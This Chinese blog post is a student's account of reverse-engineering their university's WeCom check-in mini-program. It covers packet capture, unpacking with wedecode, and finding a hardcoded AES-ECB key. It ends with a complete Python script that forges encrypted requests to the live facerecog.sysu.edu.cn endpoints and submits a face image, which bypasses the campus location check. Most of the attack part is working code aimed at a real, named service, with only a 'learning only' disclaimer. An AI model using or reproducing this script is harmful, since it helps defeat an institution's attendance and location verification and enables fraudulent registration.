怎么 2 月没有 29 号和 30 号的。
寒假将尽 今年的春节本来也晚,2 月 25 号左右看了下学校好像最晚 3 月初报到,就觉得还有很久,后来才发现 28 号直接跳到 3 月 1 号了,此时已经来不及了,碰巧月末刚好是周末,匆匆赶上去觉得太挤,就心一横,打算研究一下改定位报到的事。
安卓人、安卓手机和安卓电脑 问了一下前两年毕业的老登,都说是用苹果来搞的,用的什么爱思助手 (有没有配套的爱慕助手) 但是本人是安卓人,用的安卓手机和安卓电脑,于是就打算在 Windows 上试试先,实在不行再找苹果人借一台苹果手机和苹果电脑。
PC 端抓包 然后发现企微的小程序确实是能调用电脑的摄像头,但是不能获取位置信息 ,我也不知道怎么让他能获取到。 打开 Proxyman 尝试抓包,但是除了能看到获取列表信息和报到的信息外也没别的请求了。
移动端抓包 上 B 站搜了一下手机抓包,看到有用 httpcanary(现已经更名为reqable )抓包的,装好证书开始抓包后,发现居然弹一个和电脑一样的报错框,说无法获取位置信息。 观察了两次后,发现小程序会先往 lbs.map.qq.com 发一个请求,如果证书不对劲,这个连接就会直接中断。于是配了一下 SSL 的规则,只拦截 *.sysu.edu.cn 就好了。
能看到小程序在获取位置信息后,往 /sign/submitPosition 路由发了个请求,然后非常自然地弹出不在校区内的信息框。把这个请求复制出来,只看到请求体有一个 sKey 参数,值被加密了,当时比较困,以为里面只是类似 token 的身份信息,就睡觉先了。
小程序解包源码 第二天睡醒继续搞,思路是要拿到前端的源代码 ,才能搞懂他的逻辑。根据群友 @xy3 提供的文章 https://blog.cccyun.cn/m/?post=473 试了一下小程序解包,发现 wedecode 已经可以直接一把梭了,不用文章前面提到的解密程序处理。
wedecode 安装方式:
找了半天忘记用的是企业微信 了,还在微信的目录里盯,于是在企微的文件夹(默认应该是 C:\Users\用户名\Documents\WXWork) 下打开终端,然后启动 wedecode,选择指定目录扫描,再输一个 . 表示当时目录,直接就定位到了签到的小程序,然后按一下 Enter 就直接顺利解包了。
小程序的开发框架有点类似 React 和 Vue,之前也简单学过 Vue 开发,所以看起小程序源码来也不难理解。在 /app.js 中看到如下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var t = require ("./utils/common/util" );App ({ onLaunch : function ( ) { var t = wx.getSystemInfoSync (); this .globalData .statusBarHeight = t.statusBarHeight }, globalData : { userInfo : null , sAESKey : "73683132333435363738393031323334" , header : { "content-type" : "application/x-www-form-urlencoded" }, httpUrl : "https://facerecog.sysu.edu.cn" }, encode : function (e ) { return t.AESUtils .encodeECB (e, this .globalData .sAESKey ) } });
然后找到 encode() 函数的调用处,即 /utils/service/request.js 中看到如下代码片段:
1 2 3 4 if (0 !== Object .keys (o).length ) { var m = c.encode (Object .values (o).join ("##" ) + "##" + (new Date ).getTime ()); b.sKey = m }
这时就可以看出来之前看到的 sKey 其实是参数通过 AES ECB mode 加密 后的东西,并且密钥 sh12345678901234 是硬编码 的,用 CyberChef 尝试解密了一下果然没问题,那后面的工作就更方便了。
接下来查看核心代码 /pages/sign-in/sign-in.js,看到如下片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 reportFn : function (t, e, a, s, c, r ) { var l = this ; i.default .submitPosition ({ sPersonCode : t, sActId : e, wifiName : a, longitude : s, latitude : c }, { hideLoading : !0 }).then ((function (a ) { 1 === a.code ? (1 === r && (0 , n.creteImage2 )(o.globalData .imgSrc , 1024 , 1024 , (function (a ) { i.default .submitSignFace ({ sPersonCode : t, sActId : e }, { sImage : a, hideLoading : !0 }).then ((function (t ) { 1 === t.code ? l.getSignInfo (e) : l.setTime (), l.setData ({ isShow : !0 , status : t.code , text : t.msg }), o.globalData .imgSrc = "" , wx.hideLoading () })) })), 1 !== r && (o.globalData .imgSrc = "" , l.setData ({ isShow : !0 , status : a.code , text : a.msg }), l.getSignInfo (e), wx.hideLoading ())) : (l.setTime (), (0 , n.showModal )({ content : a.msg }), wx.hideLoading ()) })) }
大概可以看出来流程如下:
往 /sign/submitPosition 发一个带学号、活动 ID、WIFI 名(后台决定是否启用)和经纬度信息的请求;
若上面请求返回值为 0,则往 /sign/submitSignFace 发一个带学号、活动 ID 和人脸图片的请求;
若上面请求返回值为 0,则显示报到成功。
那么可以猜想,位置信息本质其实还是在本地做校验 。根据这个思路,使用 requable 的重写功能改包,规则为发往 /sign/submitPosition 的请求返回值全部改为 0,然后就显示成功报到了。
基于此,实际上写一个脚本直接往 /sign/submitSignFace 发送学号和人脸信息即可。
搞定 最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 """ 【免责声明】 本脚本仅用于学习和技术交流使用,严禁用于任何商业用途、非法用途。 使用本脚本应遵守相关法律法规及平台规则,请勿侵犯他人合法权益。 作者不对因使用本脚本导致的任何后果承担责任,使用前请自行评估风险。 【使用说明】 1. 确保安装依赖: pip install pycryptodome 2. 准备人脸图片并放在代码同级目录,并命名为 face.jpg """ from Crypto.Util.Padding import padfrom Crypto.Util.number import *from Crypto.Cipher import AESfrom datetime import datetimeimport requests as reqimport base64def getActID (stuID: str ): timestamp = int (datetime.now().timestamp()) plain = f"{stuID} ##{timestamp} " cipher = AES.new(long_to_bytes(int ("73683132333435363738393031323334" , 16 )), AES.MODE_ECB) m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex () url = "https://facerecog.sysu.edu.cn/sign/getActivityList" headers = { "User-Agent" : "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64" , "Accept-Encoding" : "gzip,compress,br,deflate" , "charset" : "utf-8" } data = { "sKey" : m } res = req.post(url=url, data=data, headers=headers) print (res.status_code) return res.json()["data" ]["rows" ][0 ]["sActId" ] def submitGPS (stuID: str , actID: str ): timestamp = int (datetime.now().timestamp()) plain = f"{stuID} ##{actID} ####113.9539##22.801604##{timestamp} " cipher = AES.new(long_to_bytes(int ("73683132333435363738393031323334" , 16 )), AES.MODE_ECB) m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex () url = "https://facerecog.sysu.edu.cn/sign/submitPosition" headers = { "User-Agent" : "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64" , "Accept-Encoding" : "gzip,compress,br,deflate" , "charset" : "utf-8" } data = { "sKey" : m } res = req.post(url=url, data=data, headers=headers) print (res.status_code) print (res.text) def image_to_base64 (image_path ): try : with open (image_path, 'rb' ) as f: base64_data = base64.b64encode(f.read()).decode('utf-8' ) return base64_data except Exception as e: print (f"图片转Base64失败:{str (e)} " ) return None def submitFace (stuID: str , actID: str ): timestamp = int (datetime.now().timestamp()) base64_image = image_to_base64("face.jpg" ) plain = f"{stuID} ##{actID} ##{timestamp} " cipher = AES.new(long_to_bytes(int ("73683132333435363738393031323334" , 16 )), AES.MODE_ECB) m = cipher.encrypt(pad(plain.encode(), AES.block_size)) m = m.hex () url = "https://facerecog.sysu.edu.cn/sign/submitSignFace" headers = { "User-Agent" : "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64" , "Accept-Encoding" : "gzip,compress,br,deflate" , "charset" : "utf-8" } data = { "sKey" : m, "sImage" : f"data:image/jpeg;base64,{base64_image} " } res = req.post(url=url, data=data, headers=headers) print (res.status_code) print (res.text) if __name__ == "__main__" : stuID = input ("学号:" ) actID = getActID(stuID) submitFace(stuID, actID)
花絮 一开始没看出来不需要发送位置信息,一直在研究 /sign/submitPosition 路由的请求,但是把经纬度改了几次都不对,百度地图和谷歌地图的经纬度都试过了,然后忽然想到他用的是腾讯位置服务 ,于是在网站 https://lbs.qq.com/getPoint/ 用坐标拾取器拿到经纬度交上去就通过了。
以及我的 GitHub Edu 还没续上,没有 Copilot,什么 AI inline suggestion 都没有,写起代码真是费劲多了,还好哥们密码题和 Web 题的解题脚本写得多,不然真写不下去。